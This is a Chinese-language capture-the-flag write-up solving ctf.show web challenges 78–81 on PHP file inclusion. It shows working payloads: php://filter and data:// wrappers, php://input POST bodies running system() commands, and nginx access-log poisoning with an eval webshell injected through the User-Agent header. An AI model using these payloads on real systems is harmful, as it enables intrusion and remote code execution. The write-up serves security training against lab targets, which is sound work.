CTF_show Web 文件包含writeup WEB78-WEB88

WEB78

1
2
3
4
5
6


if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}

?file=php://filter/convert.base64-encode/resource=flag.php

直接秒杀

WEB79

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:10:14
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:12:38
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

这次把php替换成???，用刚才那个就不行了，首先php://这个协议会被替换，然后后面flag.php会被替换成flag.???，怎么办呢

可以使用?file=data://text/plain,直接得到flag，也可以用base64的形式?file=data://text/plain;base64,PD89c3lzdGVtKCd0YWMgZmxhZy5waHAnKTs%2FPg%3D%3D

这里base64需要url编码一下不然会失败。

看别人wp发现还可以用

1
2
3


POST /?file=Php://input HTTP/1.1

<?Php system("ls");?>

这样进行命令执行

WEB80

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

这下把data过滤了，可以用上一题post的方法，ls发现这次flag放在f10g.php里了

方法1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48


GET /?file=Php://input HTTP/1.1
Host: 4fe5398d-5f2c-407f-ad24-455e9ed43dd6.challenge.ctf.show
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i
Connection: keep-alive
Content-Length: 33

<?Php system("cat fl0g.php");?>

HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Tue, 13 May 2025 09:31:50 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.3.11
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Max-Age: 1728000
Content-Length: 278

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:24:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 11:25:00
# @email: [email protected]
# @link: https://ctfer.com

*/


$flag="ctfshow{900c07e3-3b7f-4b21-ba7c-e19a8f1d74e8}";

方法2

这里还可以用ua头写一句话，ua里加入<?php eval($_GET[2]);?>，然后/?file=/var/log/nginx/access.log&2=system('ls /var/www/html');phpinfo();

可以看到f10g.php，再直接?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo();即可。

WEB81

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-16 15:51:31
# @email: [email protected]
# @link: https://ctfer.com

*/


if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
} 

这次直接把冒号过滤了，直接上一道题那个payload秒杀?file=/var/log/nginx/access.log&2=system('tac /var/www/html/fl0g.php');phpinfo();